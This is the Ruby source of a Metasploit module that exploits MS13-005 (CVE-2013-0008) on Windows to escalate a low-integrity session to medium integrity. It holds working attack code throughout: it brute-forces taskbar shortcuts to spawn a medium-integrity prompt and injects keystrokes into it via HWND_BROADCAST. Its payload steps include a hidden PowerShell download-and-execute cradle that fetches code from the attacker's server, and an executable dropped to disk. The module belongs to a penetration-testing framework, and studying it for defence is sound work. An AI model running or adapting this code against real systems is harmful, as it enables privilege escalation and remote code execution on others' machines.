230 lines
7.9 KiB
Ruby
230 lines
7.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/exploit/exe'
|
|
require 'msf/core/exploit/powershell'
|
|
require 'msf/core/post/file'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
|
|
'Description' => %q{
|
|
Due to a problem with isolating window broadcast messages in the Windows kernel,
|
|
an attacker can broadcast commands from a lower Integrity Level process to a
|
|
higher Integrity Level process, thereby effecting a privilege escalation. This
|
|
issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and
|
|
RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+#
|
|
does not work in Vista, so the attacker will have to check if the user is already
|
|
running a command prompt and set SPAWN_PROMPT false.
|
|
|
|
Three exploit techniques are available with this module. The WEB technique will
|
|
execute a powershell encoded payload from a Web location. The FILE technique
|
|
will drop an executable to the file system, set it to medium integrity and execute
|
|
it. The TYPE technique will attempt to execute a powershell encoded payload directly
|
|
from the command line, but may take some time to complete.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Tavis Ormandy', # Discovery
|
|
'Axel Souchet', # @0vercl0k POC
|
|
'Ben Campbell' # Metasploit module
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate'=> "Nov 27 2012",
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-0008' ],
|
|
[ 'MSB', 'MS13-005' ],
|
|
[ 'OSVDB', '88966'],
|
|
[ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
|
|
]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
|
|
OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),
|
|
OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
|
|
], self.class
|
|
)
|
|
|
|
end
|
|
|
|
def low_integrity_level?
|
|
tmp_dir = session.sys.config.getenv('USERPROFILE')
|
|
cd(tmp_dir)
|
|
new_dir = "#{rand_text_alpha(5)}"
|
|
begin
|
|
session.shell_command_token("mkdir #{new_dir}")
|
|
rescue
|
|
return true
|
|
end
|
|
|
|
if directory?(new_dir)
|
|
session.shell_command_token("rmdir #{new_dir}")
|
|
return false
|
|
else
|
|
return true
|
|
end
|
|
end
|
|
|
|
def win_shift(number)
|
|
vk = 0x30 + number
|
|
bscan = 0x81 + number
|
|
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
|
|
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
|
|
client.railgun.user32.keybd_event(vk, bscan, 0, 0)
|
|
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
|
|
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
|
|
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
|
|
end
|
|
|
|
def count_cmd_procs
|
|
count = 0
|
|
client.sys.process.each_process do |proc|
|
|
if proc['name'] == 'cmd.exe'
|
|
count += 1
|
|
end
|
|
end
|
|
|
|
vprint_status("Cmd prompt count: #{count}")
|
|
return count
|
|
end
|
|
|
|
def cleanup
|
|
if datastore['SPAWN_PROMPT'] and @hwin
|
|
vprint_status("Rehiding window...")
|
|
client.railgun.user32.ShowWindow(@hwin, 0)
|
|
end
|
|
super
|
|
end
|
|
|
|
def exploit
|
|
# First of all check if the session is running on Low Integrity Level.
|
|
# If it isn't doesn't worth continue
|
|
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
|
fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
|
|
|
|
# If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
|
|
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
|
|
# integrity process can write.
|
|
drop_to_fs = false
|
|
if datastore['TECHNIQUE'] == 'FILE'
|
|
payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
|
|
begin
|
|
tmp_dir = session.sys.config.getenv('TEMP')
|
|
tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
|
|
cd(tmp_dir)
|
|
print_status("Trying to drop payload to #{tmp_dir}...")
|
|
if write_file(payload_file, generate_payload_exe)
|
|
print_good("Payload dropped successfully, exploiting...")
|
|
drop_to_fs = true
|
|
register_file_for_cleanup(payload_file)
|
|
payload_path = tmp_dir
|
|
else
|
|
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
|
|
drop_to_fs = false
|
|
end
|
|
rescue ::Rex::Post::Meterpreter::RequestError
|
|
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
|
|
drop_to_fs = false
|
|
end
|
|
end
|
|
|
|
if drop_to_fs
|
|
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
|
|
make_it(command)
|
|
elsif datastore['TECHNIQUE'] == 'TYPE'
|
|
if datastore['CUSTOM_COMMAND']
|
|
command = datastore['CUSTOM_COMMAND']
|
|
else
|
|
print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
|
|
command = cmd_psh_payload(payload.encoded)
|
|
end
|
|
make_it(command)
|
|
else
|
|
super
|
|
end
|
|
end
|
|
|
|
def primer
|
|
url = get_uri()
|
|
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
|
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
|
|
make_it(command)
|
|
end
|
|
|
|
def make_it(command)
|
|
if datastore['SPAWN_PROMPT']
|
|
@hwin = client.railgun.kernel32.GetConsoleWindow()['return']
|
|
if @hwin == nil
|
|
@hwin = client.railgun.user32.GetForegroundWindow()['return']
|
|
end
|
|
client.railgun.user32.ShowWindow(@hwin, 0)
|
|
client.railgun.user32.ShowWindow(@hwin, 5)
|
|
|
|
# Spawn low integrity cmd.exe
|
|
print_status("Spawning Low Integrity Cmd Prompt")
|
|
windir = session.sys.config.getenv('windir')
|
|
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
|
|
|
|
count = count_cmd_procs
|
|
spawned = false
|
|
print_status("Bruteforcing Taskbar Position")
|
|
9.downto(1) do |number|
|
|
vprint_status("Attempting Win+Shift+#{number}")
|
|
win_shift(number)
|
|
sleep(1)
|
|
|
|
if count_cmd_procs > count
|
|
print_good("Spawned Medium Integrity Cmd Prompt")
|
|
spawned = true
|
|
break
|
|
end
|
|
end
|
|
|
|
client.sys.process.kill(li_cmd_pid)
|
|
|
|
fail_with(Failure::Unknown, "No Cmd Prompt spawned") unless spawned
|
|
end
|
|
|
|
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
|
|
multi_rail = []
|
|
command.each_char do |c|
|
|
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]]
|
|
end
|
|
|
|
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]]
|
|
print_status("Executing command...")
|
|
client.railgun.multi(multi_rail)
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
print_status("Delivering Payload")
|
|
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
|
|
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
|
end
|
|
end
|
|
|